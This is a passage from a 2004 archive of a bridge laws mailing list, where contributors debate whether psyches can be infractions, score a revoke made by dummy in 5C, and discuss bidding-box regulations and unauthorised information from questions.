van der Neut" at Mar 30, 2004 06:02:43 PM Message-ID: <200403301648.i2UGmRl3025197@athena.ccrs.nrcan.gc.ca> Jaap van der Neut writes: > > > Widely known as the "one psych per partnership per lifetime" > > rule, it has, AFAIK, never been retracted or superceded. Actually I believe that it has. ISTR something official saying that Oakie's "rule" was not official policy. There is an official pronouncement against excessive or frivolous psyching but that's a different issue. > > Great, but how come the ACBL accepted Zia as a member? And how come they > haven't kicked him out by now? Has once in a lifetime been replaced by a > couple of times a session? Or do 'tactical bids' not count towards your > psyche tally? Besides, it's not like Rosenberg hasn't psyched either. One thing that's clear, the Oakie rule has never been applied to major KOs. I was re-reading Larry Cohen's account of the last quarter of a match where Cohen's notes on the auction include things like, "Zia down by 40" or "Often 11-14, allegedly balanced (Zia opened a weak 2 in hearts with a weak NT -- a tactic he's used before late in matches that he's trailing) Of course he wasn't the only person doing this. Lew Stansby opened 1S on a 4 count (IIRC) with QXXX of spades (and he "never" opens 1S in 1st or second with fewer than 5) Of course it's not like Meckwell or Hamman/Soloway didn't know they were swinging. On the other hand, I do recall reading about a match where Rubin/Becker won despite 3 rulings against them -- all related to psyches (and reading some other match reports, I remember seeing a couple of auctions that I have little doubt would have been ruled red psyches in the EBU. Well more probably they simply wouldn't have been able to play a couple of treatments because they functioned as psychic controls even if that wasn't the intent) Never did see a report on any of the rulings, the match report just noted them in passing. From adam@irvine.com Tue Mar 30 18:09:01 2004 From: adam@irvine.com (Adam Beneschan) Date: Tue, 30 Mar 2004 09:09:01 -0800 Subject: [blml] One trick to the offending side? In-Reply-To: Your message of "Tue, 30 Mar 2004 13:43:20 +0100." <009701c41654$96b450c0$df8fcbc1@unknownx74e4p7> Message-ID: <200403301708.JAA12517@mailhub.irvine.com> Fearghal wrote: > An easy curiosity for you? > > Declarer is in 5C and has 11 easy tricks. His Spade suit is xx in dummy and > AKx in his hand. Having drawn trumps he plans to play AK and a ruff a Spade > in dummy. > > He cashes the Spade Ace but discards from dummy on the second round of > Spades. Nobody notices anything unusual and declarer now ends up with a > losing Spade in each hand for 5C-1. > > The result is 5C=, 5C-1, 5C-2, or other? Down 1. There is no provision in the Laws for returning a trick to the revoking side once the revoke has been established, unless the revoke is at trick 12---and the description of the problem makes it impossible for the revoke to have been at trick 12. However, L64B3 says there is no further penalty. A revoke from dummy could lead to an adjustment through Law 64C, but the non-offending side wasn't damaged here. Note that this later response is *not* correct: # I believe there is no offending side in the situation you described. # Everyone is responsible for dummy. The phrase "everyone is responsible for dummy" does not appear in the Laws. Although there is no penalty for dummy's revoke, there is still an infraction and the declaring side is still the offending side; and Law 64C, which allows an adjustment when the "non-offending side is insufficiently compensated", may still apply (on some other hand). -- Adam From t.kooyman@worldonline.nl Tue Mar 30 18:06:12 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 30 Mar 2004 19:06:12 +0200 Subject: [blml] One trick to the offending side? References: <009701c41654$96b450c0$df8fcbc1@unknownx74e4p7> Message-ID: <00a001c41679$a840f620$c0f9f1c3@LNV> > An easy curiosity for you? > > Declarer is in 5C and has 11 easy tricks. His Spade suit is xx in dummy and > AKx in his hand. Having drawn trumps he plans to play AK and a ruff a Spade > in dummy. > > He cashes the Spade Ace but discards from dummy on the second round of > Spades. Nobody notices anything unusual and declarer now ends up with a > losing Spade in each hand for 5C-1. > > The result is 5C=, 5C-1, 5C-2, or other? > > Best regards, > Fearghal. They can't get rid of the psyches, so no answers yet. Let me give mine then. I don't see any legal reason in the law book to adjust the score. There is no objection for a side to receive a worse score than without its own revoke. For a defender it could be increased by one or two penalty tricks. Nice case though. ton From ereppert@rochester.rr.com Tue Mar 30 18:20:11 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 30 Mar 2004 12:20:11 -0500 Subject: [blml] How Law 25B is not to be used In-Reply-To: Message-ID: <7FF003FF-826E-11D8-A555-0030656F6826@rochester.rr.com> On Tuesday, Mar 30, 2004, at 07:22 US/Eastern, Jaap van der Neut wrote: > It was no infraction under the new regulations and his partner didn't > use the UI. Great. So what's the problem? From ereppert@rochester.rr.com Tue Mar 30 18:24:05 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 30 Mar 2004 12:24:05 -0500 Subject: SV: [blml] Psyches In-Reply-To: Message-ID: <0B789501-826F-11D8-A555-0030656F6826@rochester.rr.com> On Tuesday, Mar 30, 2004, at 09:35 US/Eastern, David Stevenson wrote: > It is the combination. L40 allows you to make any call without a > CPU. So, if you make a call with a CPU, that call is an infraction. If a psyche is a deliberate misstatement of the agreed meaning of a bid, then a bid made in accordance with a CPU is not a psyche. Semantics. From ereppert@rochester.rr.com Tue Mar 30 18:26:49 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 30 Mar 2004 12:26:49 -0500 Subject: [blml] Psyches In-Reply-To: Message-ID: <6D1836DA-826F-11D8-A555-0030656F6826@rochester.rr.com> On Tuesday, Mar 30, 2004, at 11:02 US/Eastern, Jaap van der Neut wrote: > Great, but how come the ACBL accepted Zia as a member? And how come > they > haven't kicked him out by now? Has once in a lifetime been replaced by > a > couple of times a session? Or do 'tactical bids' not count towards your > psyche tally? And what is the operational definition of a psyche by > the way? Zia is famous. Ergo, *his* psyches are not illegal. From ereppert@rochester.rr.com Tue Mar 30 18:18:30 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 30 Mar 2004 12:18:30 -0500 Subject: SV: [blml] Psyches Message-ID: <45887789-8275-11D8-A555-0030656F6826@rochester.rr.com> Oops, meant to send this to the list, not to Harald. Sorry, Harald. :-) On Tuesday, Mar 30, 2004, at 07:37 US/Eastern, Skjaran, Harald wrote: > Then it's got nothing to do with psyching, it's a CPU. > That's an infraction. > A psyche is not. I suppose it depends on the meanings of the words involved. If a psyche is a deliberate and gross miss statement of the values attached to the call by partnership agreement (IE, the values in hand are *not* in accord with the agreement), then a bid made in accordance with an agreement (concealed or otherwise) is not a psyche. On that basis, a psyche is not an infraction. It seems to me that if a bid is truly a psyche, "fielding" - the deliberate bidding so as to reduce potential damage - should not be an infraction, either. For if a bid is (or may be) truly a psyche, the side making that bid is at least as likely to get a bad result as a good one. I like the concept of "fielding" a misbid even less. But I'm not in England anymore . From rui.mlmarques@netvisao.pt Tue Mar 30 19:12:47 2004 From: rui.mlmarques@netvisao.pt (Rui Marques) Date: Tue, 30 Mar 2004 19:12:47 +0100 Subject: [blml] One trick to the offending side? In-Reply-To: <00a001c41679$a840f620$c0f9f1c3@LNV> Message-ID: <001401c41682$9ae8bcc0$0201a8c0@rui> I think Ton believed this was a 12th trick revoke... But AK and spade ruff mean that we are before the 12th trick. My answer: worse than 5C-1... Dummy did not make the revoke trick. If dummy=B4s last pip is higher = than the one in declarer hand, and declarer makes a trick with that spade, two tricks transferred. If not, one trick transferred. 5C-2 or -3... Rui Marques > An easy curiosity for you? > > Declarer is in 5C and has 11 easy tricks. His Spade suit is xx in=20 > dummy and > AKx in his hand. Having drawn trumps he plans to play AK and a ruff a Spade > in dummy. > > He cashes the Spade Ace but discards from dummy on the second round of > Spades. Nobody notices anything unusual and declarer now ends up with > a losing Spade in each hand for 5C-1. > > The result is 5C=3D, 5C-1, 5C-2, or other? > > Best regards, > Fearghal. From rui.mlmarques@netvisao.pt Tue Mar 30 19:14:12 2004 From: rui.mlmarques@netvisao.pt (Rui Marques) Date: Tue, 30 Mar 2004 19:14:12 +0100 Subject: [blml] One trick to the offending side? In-Reply-To: <00a001c41679$a840f620$c0f9f1c3@LNV> Message-ID: <001501c41682$cde0fc50$0201a8c0@rui> I am assuming someone noticed the revoke in the end. If not, 5C-1. From rui.mlmarques@netvisao.pt Tue Mar 30 20:35:41 2004 From: rui.mlmarques@netvisao.pt (Rui Marques) Date: Tue, 30 Mar 2004 20:35:41 +0100 Subject: [blml] One trick to the offending side? In-Reply-To: <00a001c41679$a840f620$c0f9f1c3@LNV> Message-ID: <000401c4168e$2ff02190$0201a8c0@rui> I was the one sleeping! Forgot it was dummy=B4s cards! Sorry all. Sorry Ton! From rui.mlmarques@netvisao.pt Tue Mar 30 20:36:50 2004 From: rui.mlmarques@netvisao.pt (Rui Marques) Date: Tue, 30 Mar 2004 20:36:50 +0100 Subject: [blml] One trick to the offending side? In-Reply-To: <00a001c41679$a840f620$c0f9f1c3@LNV> Message-ID: <000501c4168e$592daff0$0201a8c0@rui> 5C -1 and Ton was 100% right as expected :-) From dougcouchman@sbcglobal.net Tue Mar 30 21:22:49 2004 From: dougcouchman@sbcglobal.net (Doug Couchman) Date: Tue, 30 Mar 2004 14:22:49 -0600 Subject: [blml] RE: ACBL reg on when a call is made with bidding boxes In-Reply-To: <20040330154102.14344.58310.Mailman@toybox.amsterdamned.org> Message-ID: <000b01c41694$c5bd60b0$6528fea9@Picasso> I don't know what the official reason for the change was, but I can tell you that, before the change, I took a couple of TD calls where there was difficulty establishing which bid card it was that the offending player had pulled, with intent, from the box. The new regulation is much easier -- if the card makes it all the way to the table, there will be no such difficulty. Yes, it raises UI concerns to allow pulling and replacing, but (as others have alluded to) bunnies don't care about this. In practice, the new regulation is much easier for a TD to use, and makes the average player happy. From svenpran@online.no Tue Mar 30 21:53:59 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 30 Mar 2004 22:53:59 +0200 Subject: [blml] One trick to the offending side? In-Reply-To: <001501c41682$cde0fc50$0201a8c0@rui> Message-ID: <000001c41699$1ffbf5b0$6900a8c0@WINXP> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Rui > Marques > Sent: 30. mars 2004 20:14 > To: blml@rtflb.org > Subject: RE: [blml] One trick to the offending side? >=20 >=20 > I am assuming someone noticed the revoke in the end. If not, 5C-1. And you have overlooked Law 64B3. 5C-1 whether or not anybody notices in = the end. Regards *Sven From blml@blakjak.com Tue Mar 30 23:02:49 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 23:02:49 +0100 Subject: SV: [blml] Psyches In-Reply-To: <0B789501-826F-11D8-A555-0030656F6826@rochester.rr.com> References: <0B789501-826F-11D8-A555-0030656F6826@rochester.rr.com> Message-ID: <1$aSj1KJ6eaAFwPo@blakjak.demon.co.uk> Ed Reppert wrote > >On Tuesday, Mar 30, 2004, at 09:35 US/Eastern, David Stevenson wrote: > >> It is the combination. L40 allows you to make any call without a >>CPU. So, if you make a call with a CPU, that call is an infraction. > >If a psyche is a deliberate misstatement of the agreed meaning of a >bid, then a bid made in accordance with a CPU is not a psyche. >Semantics. The semantics are what are amusing some people on BLML, and will for years. But the principle is important. So why do we not let the people who want to chase their own tail up their own behind carry on arguing, and look at the actual effect of the Laws. OK, what is popularly called a psyche is illegal if it is based on a CPU [and may be illegal in other ways too, but let's keep it simple]. Now the point is that the Law which allows you to psyche in the first place is L40A. In fact it does not really refer to psyches [yes, I know it mentions them, but only as an example]. The main point is you can make any call, misleading or not, psychic or not, barking mad or not, so long as it is not based on a CPU. So, if a player makes a call, either [a] it is based on no partnership agreement at all, or [b] it is based on a partnership agreement that is disclosed correctly, or [c] it is illegal Now, let us leave alone for this article how you decide whether it is [a] or [b] or [c]. The point is that it is illegal when it is decided that option [c] has been taken - and it is the call that was illegal. ------------------------- Suppose people feel that we should look at L40B rather than L40A. Rather than tell you what calls you may make it says what calls you may not make. There seems a difference in what may be legal or not, since it refers to non-disclosable agreements where it would be expected that opponents would be expected to understand the meaning. In fact, we might say that if a player makes a call, either [a] it is based on no special partnership agreement at all, or [b] it is based on a special partnership agreement that is disclosed correctly, or [c] it is based on a special partnership agreement which does not need to be disclosed, or [d] it is illegal Now, let us leave alone for this article how you decide whether it is [a] or [b] or [c] or [d]. The point is that it is illegal when it is decided that option [d] has been taken - and it is the call that was illegal. ------------------------- Of course, people will worry about cases where L40A and L40B come up with different results. OK. But for the vast majority of cases where both [c] applies under L40A and [d] applies under L40B the call is illegal. Now this applies whether it is a "psyche" or not, so let us stop going on and on about whether it is a psyche when someone opens 1H with 3 HCP and 3 hearts. The Law does not care, so why should we? The Law says [in effect] that any call made, psychic or not, based on a CPU, is illegal. So if a TD rules that there was a CPU governing what members of BLML would either call "a psyche" or not call "a psyche" then the call is illegal. ------------------------- We now have an illegal call, psychic or not. What do we do? Well, I suggested L12C, but of course someone pointed out [correctly] that we want L40C. Good. L40C tells us to award an adjusted score. How do we award an adjusted score? We go to L12C and it tells us how to do it. When we reach L12C we get the old argument as to whether it is legitimate to use L12C1. Let us skip that for now. There is also a question of whether to use L12C3: but that involves varying an assigned score, so in effect you need to look at the effects of L12C2 before you could vary it, so let us skip the L12C3 question. So we have now come via L40A or L40B through L40C to L12C, and we have decided to award an adjustment via L12C2. What does it say? Let us consider the NOs: 'the score is, for a non-offending side, the most favourable result that was likely had the irregularity not occurred' Suppose the bidding was P P 1S 1N P 3H P 3N P P P Of course dealer has an 11-count and did not lead a spade, defeating 3NT. How do you adjust? What is the irregularity? Forget for the moment whether there is any "fielding" in the international sense, or in the HDW sense: let us assume that the TD/AC have decided that there was a CPU for whatever reason. In that case the irregularity was the breach of L40A or L40B in bidding 1S. So to adjust you do so based on cancelling the 1S bid. So you have to adjust based on a legitimate auction that went: P P Now people may say this is easy. It isn't. You have no basis for adjustment whatever. Compare the normal hesitation adjustment, where the irregularity is not passing UI, but using UI: when you have to adjust for an auction, say: 1S P 4S ..X P 5C P P X P P P it is very easy to adjust: you cancel the 5C bid, and adjusting on a basis of an auction that starts 1S P 4S ..X P is far easier. Now there are secondary effects of all this. But my main point is that if a psyche is ruled as illegal because of a CPU then it is a breach of L40A or L40B, and adjusting for it will usually be difficult because the psyche itself is the illegal call. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Mar 30 23:16:54 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 23:16:54 +0100 Subject: [blml] One trick to the offending side? In-Reply-To: <4069A3F3.7010803@fe.up.pt> References: <009701c41654$96b450c0$df8fcbc1@unknownx74e4p7> <4069A3F3.7010803@fe.up.pt> Message-ID: Fernando Vieira wrote >I believe there is no offending side in the situation you described. >Everyone is responsible for dummy. While I have heard this many times there seems no basis for it. There may have been something in an earlier Law book. Nowadays there is nothing to say this so I do not believe it to be true. Furthermore, I can think of no reason why it should be true either. >So result stands >Fearghal O'Boyle wrote: > >>An easy curiosity for you? >> >>Declarer is in 5C and has 11 easy tricks. His Spade suit is xx in dummy and >>AKx in his hand. Having drawn trumps he plans to play AK and a ruff a Spade >>in dummy. >> >>He cashes the Spade Ace but discards from dummy on the second round of >>Spades. Nobody notices anything unusual and declarer now ends up with a >>losing Spade in each hand for 5C-1. >> >>The result is 5C=, 5C-1, 5C-2, or other? 5C-1, I suppose. It seems so obvious that I expect I have missed something! There is a revoke by dummy, so there are no penalty tricks. The only reason for changing it now is if the NOs are insufficiently compensated. Since they have done a trick better than if there was no revoke that does not apply. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Mar 30 23:18:02 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 23:18:02 +0100 Subject: [blml] One trick to the offending side? In-Reply-To: <001401c41682$9ae8bcc0$0201a8c0@rui> References: <00a001c41679$a840f620$c0f9f1c3@LNV> <001401c41682$9ae8bcc0$0201a8c0@rui> Message-ID: <6PuRvANaIfaAFwco@blakjak.demon.co.uk> Rui Marques wrote >I think Ton believed this was a 12th trick revoke... But AK and spade >ruff mean that we are before the 12th trick. > >My answer: worse than 5C-1... > >Dummy did not make the revoke trick. If dummy´s last pip is higher than >the one in declarer hand, and declarer makes a trick with that spade, >two tricks transferred. If not, one trick transferred. 5C-2 or -3... Dummy revoked, so no penalty tricks at all. >> An easy curiosity for you? >> >> Declarer is in 5C and has 11 easy tricks. His Spade suit is xx in >> dummy >and >> AKx in his hand. Having drawn trumps he plans to play AK and a ruff a >Spade >> in dummy. >> >> He cashes the Spade Ace but discards from dummy on the second round of > >> Spades. Nobody notices anything unusual and declarer now ends up with > >> a losing Spade in each hand for 5C-1. >> >> The result is 5C=, 5C-1, 5C-2, or other? >> >> Best regards, >> Fearghal. > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From emu@atrax.net.au Tue Mar 30 23:20:01 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 31 Mar 2004 08:20:01 +1000 Subject: [blml] Explain In-Reply-To: <533D273D4014D411AB1D00062938C4D904046845@hotel.npl.co.uk> Message-ID: <000101c416a5$26ca3ee0$2f56dccb@noeltsui0kso1i> And give UI at that point instead, by this definition? regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Robin Barker Sent: Friday, March 26, 2004 12:32 AM To: 'Noel and Pamela'; blml@rtflb.org Subject: RE: [blml] Explain Ask at the end of the auction? Robin -----Original Message----- From: Noel and Pamela [mailto:emu@atrax.net.au] Sent: 25 March 2004 13:25 To: blml@rtflb.org Subject: RE: [blml] Explain Which is ridiculous... How can a beginner who has never seen a transfer = ever progress? regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Steven Willner Sent: Thursday, March 25, 2004 2:58 AM To: blml@rtflb.org Subject: Re: [blml] Explain From: jean-pierre.rocafort@meteo.fr >i think L16 and L73F2 are accurate to deal with the consequences of >asked >questions, but divergences of opinion lie on when they need to be used, >which is not a problem of what the law should be but a problem of >application on a case to case basis. This looks exactly right to me. Consider the following simple scenario: South opens 1NT, West passes, and North bids 2S, alerted by South. East asks "Please explain," and South gives a correct explanation. South eventually = becomes=20 declarer, and it turns out that East has a flat zero-count. In North America, there is no problem. The question is expected = regardless=20 of East's hand, and neither West nor South can expect to derive any information from it. = In L73F2 terms, there is no way East "could have known" that the question might mislead. In the EBU, the situation might well be different. _________________________________________________________________ Check out MSN PC Safety & Security to help ensure your PC is protected = and=20 safe. http://specials.msn.com/msn/security.asp _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or = privileged material; it is for the intended addressee(s) only. If you are not a = named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments = are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 = Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW. ------------------------------------------------------------------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Tue Mar 30 23:20:01 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 31 Mar 2004 08:20:01 +1000 Subject: [blml] Explain In-Reply-To: Message-ID: <000201c416a5$279a1200$2f56dccb@noeltsui0kso1i> When I learnt Bridge, we were never taught transfers (or weak 2's for = that matter). My wife and I sat down for our first outing at the table and within 8 = boards we had seen it all - transfers, multi-2s (let alone weak ones), = splinters - the lot. We, being a little overawed, did not ask anything, and consequently = missed two games and a slam. Well, that's Bridge, but it would have been nice to be able to ask, = 'What does this mean?' without having any intention of bidding - JUST TO FIND = OUT WHAT THE HECK IS THIS ALL ABOUT. We had to learn the hard way - and if we weren't hooked already, might = have never played again, if this sort of attitude were to prevail. regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = David Stevenson Sent: Friday, March 26, 2004 1:34 AM To: blml@rtflb.org Subject: Re: [blml] Explain Noel and Pamela wrote >Which is ridiculous... How can a beginner who has never seen a transfer = >ever progress? Pleases explain this comment. It makes no sense to me. >From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of=20 >Steven Willner >Sent: Thursday, March 25, 2004 2:58 AM >To: blml@rtflb.org >Subject: Re: [blml] Explain > > >From: jean-pierre.rocafort@meteo.fr >>i think L16 and L73F2 are accurate to deal with the consequences of=20 >>asked questions, but divergences of opinion lie on when they need to=20 >>be used, which is not a problem of what the law should be but a=20 >>problem of application on a case to case basis. > >This looks exactly right to me. Consider the following simple=20 >scenario: South opens 1NT, West passes, and North bids 2S, alerted by=20 >South. East asks "Please explain," and South gives a correct=20 >explanation. South eventually becomes declarer, and >it turns out that East has a flat zero-count. > >In North America, there is no problem. The question is expected=20 >regardless of East's hand, and neither West nor South can expect to=20 >derive any information from it. In > >L73F2 terms, >there is no way East "could have known" that the question might=20 >mislead. > >In the EBU, the situation might well be different. > >_________________________________________________________________ >Check out MSN PC Safety & Security to help ensure your PC is protected=20 >and safe. http://specials.msn.com/msn/security.asp > > >_______________________________________________ >blml mailing list >blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml > > >_______________________________________________ >blml mailing list >blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml --=20 David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =3D( + = )=3D Lawspage: http://blakjak.com/lws_menu.htm ~ _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From blml@blakjak.com Tue Mar 30 23:20:09 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 23:20:09 +0100 Subject: [blml] RE: ACBL reg on when a call is made with bidding boxes In-Reply-To: <000b01c41694$c5bd60b0$6528fea9@Picasso> References: <20040330154102.14344.58310.Mailman@toybox.amsterdamned.org> <000b01c41694$c5bd60b0$6528fea9@Picasso> Message-ID: Doug Couchman wrote >I don't know what the official reason for the change was, but I can tell you >that, before the change, I took a couple of TD calls where there was >difficulty establishing which bid card it was that the offending player had >pulled, with intent, from the box. The new regulation is much easier -- if >the card makes it all the way to the table, there will be no such >difficulty. > >Yes, it raises UI concerns to allow pulling and replacing, but (as others >have alluded to) bunnies don't care about this. In practice, the new >regulation is much easier for a TD to use, and makes the average player >happy. I was looking for details of the Killarney Congress on the Irish website - I did not find them - but I discovered the Irish reg as to when the call is made is the same as the ACBL's. So we should now refer to the ACBLCBAI reg. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Mar 30 23:57:59 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 30 Mar 2004 23:57:59 +0100 Subject: [blml] Explain In-Reply-To: <000201c416a5$279a1200$2f56dccb@noeltsui0kso1i> References: <000201c416a5$279a1200$2f56dccb@noeltsui0kso1i> Message-ID: Noel and Pamela wrote >When I learnt Bridge, we were never taught transfers (or weak 2's for that >matter). > >My wife and I sat down for our first outing at the table and within 8 boards >we had seen it all - transfers, multi-2s (let alone weak ones), splinters - >the lot. > >We, being a little overawed, did not ask anything, and consequently missed >two games and a slam. > >Well, that's Bridge, but it would have been nice to be able to ask, 'What >does this mean?' without having any intention of bidding - JUST TO FIND OUT >WHAT THE HECK IS THIS ALL ABOUT. > >We had to learn the hard way - and if we weren't hooked already, might have >never played again, if this sort of attitude were to prevail. What sort of attitude? If a beginner asks a question there are no UI problems of any sort. Very few players are stupid enough ot call the TD at such a time, and they will get no joy whatever out of a competent TD. When we discuss problems of UI they only apply ot people who are likely to use the UI, whether intentionally or otherwise. There is never a problem with beginners asking questions. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Wed Mar 31 00:58:42 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 31 Mar 2004 09:58:42 +1000 Subject: [blml] Moving the goalposts (was Psyches) Message-ID: HdW: >>Sorry David, but a psyche cannot be an >>infraction. DWS: >Time you re-read L40A! RJH: Time for some definitions -> The popular non-Euclidean definition of "psyche" is: "Any deliberate call which is contrary to the announced partnership system, includes both legal deviations and illegal concealed partnership agreements." The Euclidean Lawful definition of "Psychic Call" is: "A deliberate and gross misstatement of honour strength or suit length." A misstatement of partnership agreement cannot be part of a (concealed or otherwise) partnership agreement. Law 40A defines a psychic bid as legal, but some partnership agreements as possibly illegal. Law 40B prohibits concealed partnership agreements. Therefore, as Herman states, a psychic call - by definition - cannot be an infraction. Confusion has been caused on this issue with the minutes of the WBF LC moving the goalposts by referring to "psyches" in the popular sense. In my opinion, the goalposts would be more stable if the WBF LC had made a distinction between Lawful psychic calls/bids, and unLawful concealed partnership agreement pseudo-psyches. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Wed Mar 31 01:06:29 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 31 Mar 2004 01:06:29 +0100 Subject: [blml] Explain References: <000201c416a5$279a1200$2f56dccb@noeltsui0kso1i> Message-ID: <01b901c416b4$05675940$399868d5@tinyhrieuyik> > [David Stevenson] > If a beginner asks a question there are no UI problems of > any sort. Very few players are stupid enough ot call the > TD at such a time, and they will get no joy whatever out > of a competent TD. > When we discuss problems of UI they only apply ot people > who are likely to use the UI, whether intentionally or > otherwise. There is never a problem with beginners asking > questions. {Nigel] David and Tim are singing from the same hymnbook. IMO beginners are just as likely to try an illegal ploy as anybody else, more so in fact, as they may not even be aware of committing an infraction. When such behaviour is successful and goes unremarked, other beginners are likely to ape it. Such an introduction to Bridge fosters the kind of club that prides itself on a friendly(?) atmosphere, but where (a) The standard of ethics is bad. (b) Players consider it bad manners to call the TD. (c) All carp miserably about each others' "cheating" --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From nigel.guthrie@ntlworld.com Wed Mar 31 01:51:22 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 31 Mar 2004 01:51:22 +0100 Subject: [blml] Psyches References: <200403291510.i2TFA2TE019493@athena.ccrs.nrcan.gc.ca> <003001c415ce$1afdbf60$4f9968d5@tinyhrieuyik> Message-ID: <023d01c416ba$4a530760$399868d5@tinyhrieuyik> >> [Nigel Guthrie] >> Hence, you may not take into account information >> from the state of the match > [John MaddDog Probst] > this statement is ludicrous. the state of the match is > authorised information. [Nigel] I put my hand up to that one. John got me bang to rights. My *intended* point is one I hinted at earlier: You may not take into account how the state of the match may affect partner's bidding style -- unless you explain the effect to opponents, in detail. When down a lot, some players carry on playing down the middle. Others become madly aggressive. A few are prone to psyche. If opponents are less familiar than you with your partner's propensities, then, IMO, it is illegal for you to make allowances. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From nigel.guthrie@ntlworld.com Wed Mar 31 02:22:32 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 31 Mar 2004 02:22:32 +0100 Subject: [blml] treat non-offenders severely References: <200403251835.i2PIZUGH002454@athena.ccrs.nrcan.gc.ca> Message-ID: <025601c416be$a4d471c0$399868d5@tinyhrieuyik> [Ron Johnson] I wouldn't presume to speak for David, but I've seen a lot of rulings which say something like, "If you'd just played bridge you'd have had a good score." Ignoring the fact that the NOS wouldn't have been in the position without the offence. I think this is at least part of what he's talking about. [Nigel] This "What might have been" is a recent example... I held Qxx T9xx K9x xxx and the bidding was.. RHO ME LHO OXO (2D*) P (2N*) 4H (P) P (4S) 5D (P) 5H (...P) P (5S) 6H (X) End 2D = Multi 2N = Relay ...P = Agreed slow pass. 6HX went two down for -500. 5S makes +450 if declarer picks up my queen. The TD ruled that P by RHO was an LA and that 5S may have been suggested by LHO's hesitation, so he wound the bidding back to 5H-1 (-100). The AC upheld the TD decision -- much to my relief. I feared that my 6H might be penalized as a "double shot." TDs in the USA often rule against players suspected of "double shots", even although they would never be faced with such a horrid choice without the earlier infraction. Again suppose, in the above auction, I had not bid 6H but defended 5S. Suppose 5S can be easily defeated by several tricks but we defend stupidly to let it home. In America, the TD may judge that we should live with the consequences, although our predicament was consequent on opponents earlier infraction. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From nigel.guthrie@ntlworld.com Wed Mar 31 02:41:21 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 31 Mar 2004 02:41:21 +0100 Subject: SV: [blml] Psyches References: <200403241718.JAA12210@mailhub.irvine.com> <4061C6F5.7050608@hdw.be> Message-ID: <026a01c416c1$45aa3ba0$399868d5@tinyhrieuyik> [Herman De Wael] Indeed Adam, but your partner's 